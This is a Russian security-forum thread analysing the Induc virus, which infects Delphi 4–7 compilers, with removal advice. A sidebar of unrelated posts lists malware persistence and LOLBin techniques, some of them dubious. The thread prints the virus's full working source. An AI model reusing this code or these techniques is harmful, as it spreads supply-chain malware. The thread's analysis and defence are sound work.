Delphi-вирус - Общий форум по информационной безопасности - Форумы Anti-Malware.ru Перейти к содержанию

Recommended Posts

Umnik

Запускаю с утра Миранду, она обнаруживает обновление плагина vkontakte. В чейнджлоге всего один фикс:

Version 0.3.0.5

- новая версия, избавленная от Delphi-вируса (http://gunsmoker.blogspot.com/2009/08/delphi-delphi.html)

Вот копи-паст с указанного адреса:

Delphi-”вирус”: проверьте свою установленную Delphi!

Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как ”вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в ”поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.

Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK, но для надёжности вам лучше бы прочитать пост целиком):

Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).

Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.

Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:

  1. Удалите SysConst.dcu
  2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.
Не пытайтесь найти вирус в SysConst.pas: его там НЕТ!

Как это началось

Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше.

Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными ”настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi).

Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP.

Что это такое

Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так:

uses windows;var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(','function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]','=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;','h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin','h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle','(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile','(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while','not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0','then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,','x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.','wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,','f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),','pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,','0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=','CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,','@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of','char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(','HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then','begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=','1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+','$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;','begin st; end.');function x(s:string):string;var   i:integer;begin   for i:=1 to length(s) do     if s[i]=#36 then s[i]:=#39;  result:=s;end;procedure re(s,d,e:string);var  f1,f2:textfile;  h:cardinal;  f:STARTUPINFO;  p:PROCESS_INFORMATION;  b:boolean;  t1,t2,t3:FILETIME;begin  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);  if h<>DWORD(-1) then  begin    CloseHandle(h);    exit;  end;  {'I-}assignfile(f1,s);  reset(f1);  if ioresult<>0 then    exit;  assignfile(f2,d+'pas');  rewrite(f2);  if ioresult<>0 then   begin     closefile(f1);     exit;   end;  while not eof(f1) do  begin    readln(f1,s);    writeln(f2,s);    if pos('implementation',s)<>0 then      break;  end;  for h:= 1 to 1 do    writeln(f2,sc[h]);  for h:= 1 to 23 do    writeln(f2,''''+sc[h],''',');  writeln(f2,''''+sc[24]+''');');  for h:= 2 to 24 do    writeln(f2,x(sc[h]));  closefile(f1);  closefile(f2);  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));  fillchar(f,sizeof(f),0);  f.cb := sizeof(f);  f.dwFlags := STARTF_USESHOWWINDOW;  f.wShowWindow := SW_HIDE;  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);  if b then    WaitForSingleObject(p.hProcess,INFINITE);  MoveFile(pchar(d+'bak'),pchar(d+'dcu'));  DeleteFile(pchar(d+'pas'));  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);  if h=DWORD(-1) then    exit;  GetFileTime(h,@t1,@t2,@t3);  CloseHandle(h);  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);  if h=DWORD(-1) then    exit;  SetFileTime(h,@t1,@t2,@t3);  CloseHandle(h);end;procedure st;var    k:HKEY;  c:array [1..255] of char;  i:cardinal;  r:string;  v:char;begin  for v:='4' to '7' do    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then    begin      i:=255;      if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then      begin        r:='';        i:=1;        while c[i]<>#0 do        begin          r:=r+c[i];          inc(i);        end;        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');      end;    RegCloseKey(k);  end;end;begin  st;end.

Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно.

Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет.

Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут:

  {'I-}assignfile(f1,s);  reset(f1); // <- возбуждается исключение, если в s записан неверный путь

При вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива {$I-} и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил {$I-} в {'I-}, что и привело к этой ошибке.

Насколько это серьёзно

Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена.

Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная ”досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах.

Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе.

Кто виноват и что делать

В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие ”высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса).

Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*).

Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение. Ну, лучше всего, конечно, взять .dcu файл с дистрибутива - для надёжности (мало ли, вдруг .bak файл тоже оказался изменён).

Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу):

  • Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi.
  • Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Ну, это не даст вирусу менять файлы, но при этом на Delphi не встанут апдейты, но это вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё. Ну или менять права перед установкой апдейтов и возвращать после.
  • Работать в системе ”как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая.
Замечу, что подобной простой панацеи для уже скомпилированных в заражённой Delphi файлов нет: вам придётся пересобрать их заново. А чтобы определить, какие файлы заражены: запустите поиск по диску всех файлов, содержащих любую "говорящую" подстроку из константы, например: "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется). Также это поможет найти, кто же принёс на вашу машину эту бяку: если вы нашли инфицированный файл, собранный не вами, то это и есть виновник проблем на вашей машине.

Ну, лично мне все эти проблемы по барабану, т.к. я:

  • Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками.
  • Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7.
  • Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло).
Но то, что эти проблемы мне не грозят, не значит, что о них не надо сказать: кто предупреждён, тот вооружён. Удачи :)

Примечания:

(*) Ну, на самом деле, наличие файла SysConst.bak ещё не говорит со 100% точностью о заражении. Вы вполне могли создать этот файл сами или он был создан каким-нибудь вполне легитимным патчем. Чтобы убедиться на 100%, откройте файл SysConst.dcu (dcu, а не bak, т.к. в bak-е лежит девственный оригинал) в блокноте или по F3 в двух-панельном менеджере и поищите строчку ”closefile(f2);” (без кавычек, разумеется). Если нашли – то ваша Delphi точно заражена. Таким же образом можно проверить и собранный exe-файл. Но проверка на SysConst.bak не даёт гарантии от поражения аналогичными вирусами. Конкретно этот экземпляр выдаёт себя наличием файла SysConst.bak. Другие могут не быть столь беспечны, поэтому 100% надёжный способ - сравнить папки \Lib и \Source с дистрибутивными: поставьте куда-нибудь чистую Delphi на чистую машину (лучше всего с read-only сидюка или ISO-образа) и сравните свои папки с чистыми. Только убедитесь, что сервис-паки и апдейты совпадают.

-----------------------------------

Вот еще ссылка на Хабр: http://habrahabr.ru/blogs/virus/66937/

  • Upvote 5

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
OlegSych

Это пяць! Проникся!

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
av killer

Код отправили к примеру в Авиру? :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
AlexxSun

Неужели сбылось наконец-то? :D

Прямо сегодня после обновления баз на KIS 7.0.1.325 детектируем в QIP версии 8094 Virus.Win32.Induc.a

Жалко, если это сочтут за фолс и уберут детект, было бы хорошим уроком создателям QIPa чтобы впредь не пихали всякую дрянь в свои инсталляторы :)

http://www.virustotal.com/ru/analisis/3a99...f2cc-1250351440

Похоже, что не фолс, пояснения тут : http://habrahabr.ru/blogs/virus/66937/

http://forum.qip.ru/showthread.php?p=314885

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yen-Jasker

http://kltest.org.ru/viewtopic.php?f=19&am...87237e0d#p12745

КИС ругается на квип, находит "индюка", Virus.Win32.Induc.a

Но он ругается и на один из активаторов для Windows 7, с таким же вердиктом. Это странно, может это фолс или "индюк" - туфта?

Аналитики, откуда взялся "индюк"? По-моему нужно проверить семплы зараженных файлов и разобраться что попало в базы.

На viruslist такой зловред не значится.

  • Downvote 5

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Valery Ledovskoy
КИС ругается на квип, находит "индюка", Virus.Win32.Induc.a

И что? Отправьте с вердиктом False alarm и ждите ответа.

Но он ругается и на один из активаторов для Windows 7, с таким же вердиктом.

И что, в одном из "активаторов" Windows 7 не может быть вредоноса? Все активаторы поддерживаются MS?

На viruslist такой зловред не значится.

И что? Если вредонос в библиотеке не описан, то это подозрительно? Посчитайте, сколько нужно сейчас техписателей, чтобы описать каждый вредонос.

Да, были люди в наше время,

Не то, что нынешнее племя.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yen-Jasker
И что? Если вредонос в библиотеке не описан, то это подозрительно? Посчитайте, сколько нужно сейчас техписателей, чтобы описать каждый вредонос.

Когда запись о вредоносе есть, но описания нет - так бывает. А вредонос induc.a вообще не находится по базе viruslist, впервые сталкиваюсь с таким случаем.

Предлагаю обойтись без пространных фраз о нынешнем племени, а разобраться что это за зловред. К сожалению, известны случаи ошибок в антивирусных базах.

  • Upvote 10

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Valery Ledovskoy
А вредонос induc.a вообще не находится по базе viruslist, впервые сталкиваюсь с таким случаем.

И чо? О чём это лично вам говорит? Если нет описания, то нет и вредоноса?

К сожалению, известны случаи ошибок в антивирусных базах.

Известны, и немало. Когда Вы сообщили о ложном срабатывании?

Может быть, не знаете, куда писать? Адрес, куда писать, находится в 2 клика. Только мало кто знает, что в теме лучше False Alarm писать ;)

Или скажут, что мы уже знаем этого вредоноса, и он будет добавлен в базы при следующем обновлении :))

Касперский - точно такой же антивирус, как и другие. Точно такие же схемы взаимодействия (надеюсь), что и с другими вирлабами.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
akoK
Известны, и немало. Когда Вы сообщили о ложном срабатывании?

Это не ложное срабатываение. :)

http://habrahabr.ru/blogs/virus/66937/

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Valery Ledovskoy
Это не ложное срабатываение. smile.gif

Значит, всё хорошо. Miranda IM forever. И описания на viruslist ни при чём снова. Можно спать спокойно, чего и всем желаю :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yen-Jasker
И чо? О чём это лично вам говорит? Если нет описания, то нет и вредоноса?

Вы опять про описание. Нет даже названия такого вредоноса на вируслисте. Даже для несуществующих вирусов, ошибочно записанных аналитиками в базу, названия на вируслисте были.

Но может это и в самом деле вирус, нужно разбираться.

Но сейчас не нужно злорадствовать по поводу того, что ЛК задетектила QiP Infium как "индюка" за его зловредные функции. Детектируется не сам квип, а вирус, который заразил Дельфи, установленный у разрабов Квипа.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

http://www.kaspersky.ru/viruswatchlite?sea...amp;x=0&y=0

Главное, он указан здесь.

Yen-Jasker

Надеюсь, "разбирательств" больше не будет

http://www.kaspersky.ru/viruswatchlite?sea...amp;x=0&y=0

http://www.securelist.com/ru/find?words=na...amp;searchtype=

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Юрий Паршин

Детект квипа 8094 - не фолса. Он действительно заражен.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Yen-Jasker
http://www.kaspersky.ru/viruswatchlite?sea...amp;x=0&y=0

Главное, он указан здесь.

Yen-Jasker

Надеюсь, "разбирательств" больше не будет

http://www.kaspersky.ru/viruswatchlite?sea...amp;x=0&y=0

http://www.securelist.com/ru/find?words=na...amp;searchtype=

По первой ссылке указан induc.a, а по третьей какой-то NanoDesu, это один и тот же вирус?

Детект квипа 8094 - не фолса. Он действительно заражен.

Спасибо.

Вот и разобрались, чтобы не путать две разные проблемы.

Неужели сбылось наконец-то? :D

Прямо сегодня после обновления баз на KIS 7.0.1.325 детектируем в QIP версии 8094 Virus.Win32.Induc.a

Жалко, если это сочтут за фолс и уберут детект, было бы хорошим уроком создателям QIPa чтобы впредь не пихали всякую дрянь в свои инсталляторы :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik
По первой ссылке указан induc.a, а по третьей какой-то NanoDesu, это один и тот же вирус?

Видимо, я слишиком сжато пояснил, практически не пояснил.

Вредонос указан в вирусвоче, этого достаточно. В вируслисте нет очень многих вредоносов, это я показал на примере nanodesu, первое, что вспомнил из непопулярного.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Dr.Golova

Однако... Казалось бы что этот вирус не жилец и чистый концептуал - только дэльфи и только если есть сорцы... Но оказывается, что на этой мертвой платформе не только полно "разработчиков", но они еще и запускают все без разбора на сборочных машинах, и потом выкладывают эти поделки всем желающим. И пипл это хавает! Трижды КУ.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

Теоритическая выкладка:

1. Появляется подобный зверек для С++/С/С#/не_важно из Студии

2. Заражает С++ в какой-нибудь антивирусной компании

3. Антивирус заражает своих пользователей программистов

Возможно? :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

История Индюка от Лаборатории Касперского.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
priv8v
2. Заражает С++ в какой-нибудь антивирусной компании

Будем надеятся, что в АВ-компаниях на сборочных компах не запускают всякую ересь :)

А может кто-нибудь выложить какой-нибудь hello_world, скомпилированный в делфи, зараженной этим вирусом?..

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Андрей-001

Популярность QIP-семейства и ему подобных в большей степени способствовала распространению "индюка".

Сейчас очень редко не встретишь на ПК пользователей одну их его версий.

Его нет только у тех, у кого пока нет интернет-доступа, равнозначно у них нет и "индючьего" следа.

На днях на ПК клиентов стала проявляться ещё одна хрень, у неё пока нет антивирусного детекта и т.б. названия, но симптомы у всех аналогичны. Главным образом ей подвержены компьютеры "вконтактёров", "одноклассников" и "моймирщиков".

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
K_Mikhail
На днях на ПК появилась ещё одна хрень, у неё пока нет антивирусного детекта и т.б. названия, но симптомы у всех аналогичны. Главным образом ей подвержены компьютеры "вконтактёров", "одноклассников" и "моймирщиков".

Пощупать можно?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Андрей-001
Пощупать можно?

Работаем над этим, пока только симптомы. Если будет семпл, поделюсь непременно.

Симптомы пока до конца не определены: неотключение соединения, подвисание при установленных и работающих антивирусах. При этом чистые процессы, автозагрузка, службы, Проводник и браузеры.

При чём ранее зачастую был неконтролируемый разрыв соединения (т.н. z-, x-, i-connect), а сейчас наоборот – соединение не разрывается со значка в трее или на РС, и при этом окно "Состояние" только мигнёт, но не выходит.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik
Его нет только у тех, у кого пока нет интернет-доступа, равнозначно у них нет и "индючьего" следа.

Не только QIP был заражен, но многие другие программы.

Третий момент — пораженные им приложения. Вирус существовал на компьютерах разработчиков программных продуктов, среди которых оказались весьма популярные и использующиеся большим количеством людей. Так, например, были обнаружены некоторые версии медиа-плеера AIMP и популярного инстант-мессенджера QIP, содержащие в себе данный вирус. Вирус был обнаружен в приложениях по всему миру, в том числе и на крупнейших сайтах с софтом, на дисках с программами, выпускаемых различными журналами и т.д.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
TANUKI

Капец! У моей девушки стоит АИМП и КИП (старая версия). По каким папкам лазить что бы провериться на заражение? :(

У меня ничего из дельфийского вроде нет.

Пользуюсь официальной аськой или крысой. Плеера не имею. Или что-то еще есть из массового, что может стоять?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Umnik

Нет Дельфи - нет заражения.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • demkd
      ИИ — полезная штука, но, к сожалению, бесплатные версии, как тот же Google Gemini Flash, тупенькие на уровне 12b моделей, делают колоссальное число ошибок по мелочам. Яблочко от яблони... Мало того, "новое" у них обычно старое с отставанием на год, и это в лучшем случае. Я сейчас как раз занимаюсь новой, уже 3-й версией своего "Клавиатурного помощника". В нём будет поддержка локального ИИ, горячих ИИ-клавиш, голосовых команд, голосового ввода и вспомогательной LLM для переводов, правки текста и т.п. Именно локального ИИ без необходимости обращения в сеть и сопутствующих утечек данных И это не для старого железа — нужно как минимум много памяти и современный процессор, в идеале хотя бы RTX 5060 Ti 16 ГБ в качестве ускорителя. А результат, ну, такой себе. ИИ слишком склонен ошибаться, и доверять ему что-то серьёзное пока не стоит, даже код пишет, который как-то работает, но в нём масса мелких и незаметных ошибок и уязвимостей. 
      Текст исправлен с помощью Google Gemma 4 E4B. 
    • PR55.RP55
      Вы сказали: "Найди все новые ключи которые появились 2026 г. и ранее не использовались... Можешь ?"
      *Да, я могу помочь* составить список новых ключей реестра и путей
      автозагрузки, которые вредоносное ПО использует в текущих кампаниях
      (включая модификации 2026 года), маскируясь под легальные системные
      компоненты. ( скопирую частично) :   * *|HKLM\SOFTWARE\Classes\Protocols\Filter|* и *|\Handler|* — новые
          модификации Adware перехватывают протоколы edge:// или msproedg://
          для подмены поисковой выдачи.   * *|HKCU\Software\Microsoft\Windows\CurrentVersion\Lxss|* —
          использование подсистемы WSL для скрытого автозапуска
          Linux-ориентированных рекламных модулей, незаметных для стандартных
          триггеров автозагрузки Windows. Современные зловреды (особенно Adware и майнеры) научились прописываться
      в тихий автозапуск без создания классических ключей |Run| или
      |Services|. Они используют встроенный механизм Windows 10/11 —
      *псевдонимы выполнения приложений*.   * *Суть*: В реестре создается связь в ветке
          |HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths| или через
          механизм |AppXPackage|. Зловред подменяет вызов легальной команды
          (например, при наборе пользователем |notepad| или |calc| в строке
          «Выполнить») и запускает свое тело.
        * *Что добавить в памятку*: Обращать внимание на появление кастомных
          записей в блоке «Псевдонимы приложений» и проверять, куда
          перенаправляются стандартные системные вызовы. 2. Подмена через каталоги |Lxss| (WSL — Windows Subsystem for Linux)
      Это одна из самых опасных современных тенденций, так как многие
      антивирусы до сих пор слабо сканируют Linux-среду внутри Windows.   * *Суть*: Майнеры и стилеры прописывают свой запуск внутри
          дистрибутива WSL (ключ реестра
          |HKCU\Software\Microsoft\Windows\CurrentVersion\Lxss|). При старте
          Windows запускается скрытая фоновая сессия WSL, которая активирует
          ELF-бинарник (Linux-вирус). В логах автозапуска Windows это выглядит
          как легальный старт службы |wsl.exe|, но с хитрыми аргументами.
        * *Что добавить в памятку*: Формула «А+В+С»: если |wsl.exe|
          запускается автоматически с флагами |-d| (конкретный дистрибутив)
          или скрытыми bash-скриптами — это 100% повод для изоляции и проверки
          содержимого виртуального диска VHDX. 3. Продвинутый Timestomping с подделкой под апдейты ОС
      Раньше вирусописатели просто копировали даты у соседних файлов
      (|kernel32.dll| и т.д.). Теперь они действуют умнее:   * *Суть*: Дата создания файла выставляется ровно на день/час крупного
          официального обновления Windows (например, подстраиваются под график
          Patch Tuesday от Microsoft). Аналитик смотрит на лог uVS, видит дату
          (например, |14.10.2025|) и думает: «А, ну это тогда накопительный
          апдейт прилетел, файл чистый».
        * *Что добавить в памятку*: Правило проверки контрольных сумм. Не
          верить датам, даже если они идеально совпадают со временем
          системного обновления. Если у файла из папки |System32| с
          «правильной» датой обновления отсутствует валидная ЭЦП (или статус
          |Цифр. подпись: НЕТ|) — это критический триггер. 4. Атаки типа Living off the Land (LotL) через новые системные утилиты
      Вместо использования заезженных |powershell.exe| или |cmd.exe|, которые
      сейчас жестко блокируются любым EDR/антивирусом, малварь перешла на
      легальные, но редкие утилиты Windows (LOLBins).   * *Суть*: Для скачивания и запуска вредоносного кода используются
          системные компоненты:
            o |curl.exe| (теперь встроен в Windows) — для скрытой загрузки
              полезной нагрузки.
            o |tar.exe| — для распаковки зашифрованных архивов со стилерами
              прямо «на лету».
            o |winget.exe| (Windows Package Manager) — для скачивания
              вредоносных утилит из легальных репозиториев.
        * *Что добавить в памятку*: В uVS нужно тщательно анализировать
          параметры запуска командной строки в Планировщике задач (|TASKS|),
          если там фигурируют |curl|, |tar| или |bitsadmin|, качающие что-то с
          внешних IP-адресов. 6. Скрытые модификации через COM-объекты (COM Hijacking без изменения
      файлов)
      Вместо перезаписи файлов в |System32| или создания явных ключей |Run|,
      малварь перехватывает легальные системные интерфейсы через реестр.   * *Суть*: Зловред прописывает путь к своей вредоносной DLL в ветку
          *|HKCU\Software\Classes\CLSID\{GUID}\InprocServer32|*. При этом
          берется GUID легального и часто используемого компонента Windows
          (например, Проводника, контекстного меню или планировщика). Как
          только система или пользователь совершает обычное действие
          (открывает папку, кликает правой кнопкой мыши), Windows
          автоматически подгружает вредоносную DLL.
        * *Что добавить в памятку*: В uVS такие объекты часто попадают в
          категорию «Подозрительные CLSID» или скрытые расширения оболочки.
          Если в ветке |HKCU| (пользовательский уровень) переопределяется
          системный GUID, который по умолчанию должен жить только в |HKLM|
          (уровень системы) — это явный признак перехвата. 7. Спуфинг цифровой подписи через уязвимости каталогов (Catalog Signing
      Spoofing)
      Малварь научилась обходить базовую проверку подписей, из-за чего в логах
      некоторых утилит файл может ошибочно помечаться как «Подписан Microsoft».   * *Суть*: Используются уязвимости в механизме проверки файлов через
          каталоги безопасности Windows (|.cat| файлы). Вредоносный бинарник
          модифицируется таким образом, что его хэш совпадает с хэшем
          легального файла в базе данных каталогов (используются коллизии или
          специфические уязвимости парсинга).
        * *Что добавить в памятку*: Правило двойной проверки. Если файл
          находится в нетипичном месте (например,
          |C:\Users\...\Temp\svchost.exe|), но uVS или ОС рапортует, что у
          него «Валидная подпись Microsoft» — необходимо принудительно
          отправлять хэш файла на VirusTotal через встроенную функцию uVS или
          проверять подпись сторонними утилитами (например, |Sigcheck| от
          Sysinternals) с проверкой отзывов сертификатов. 8. Эксплуатация механизма «Служб доставки обновлений» браузеров
      (Edge/Chrome Maintenance)
      Рекламное ПО (Adware) и кликеры ушли от создания собственных явных служб
      и теперь паразитируют на легальных планировщиках браузеров.   * *Суть*: Вредоносный скрипт не создает новую задачу в Планировщике.
          Вместо этого он модифицирует параметры /уже существующей/ легальной
          задачи, например, |MicrosoftEdgeUpdateTaskMachineCore|. В
          оригинальную команду дописывается скрытый аргумент
          (аргумент-паразит), который раз в сутки скачивает или запускает
          рекламный модуль. Аналитик видит знакомое имя задачи Edge, видит
          легальный путь к апдейтеру и пропускает её.
        * *Что добавить в памятку*: При анализе задач Планировщика (|TASKS|) в
          uVS нужно смотреть не только на имя файла, но и *полностью
          разворачивать строку аргументов*. Любые добавленные URL-адреса,
          вызовы |cmd /c|, или сторонние пути в параметрах легальных служб
          обновления — это стопроцентный признак компрометации. 10. Фейковые системные переменные в путях автозапуска
      Обман визуального восприятия аналитика через манипуляцию переменными среды.   * *Суть*: В реестре или планировщике путь к файлу прописывается как
          |%SystemRoot%\System32\drivers\malware.sys|. Но перед этим на уровне
          пользователя (|HKCU\Environment|) создается кастомная переменная
          |%SystemRoot%|, которая указывает вовсе не на |C:\Windows|, а на
          |C:\Users\Public\Documents|. В итоге аналитик глазами видит
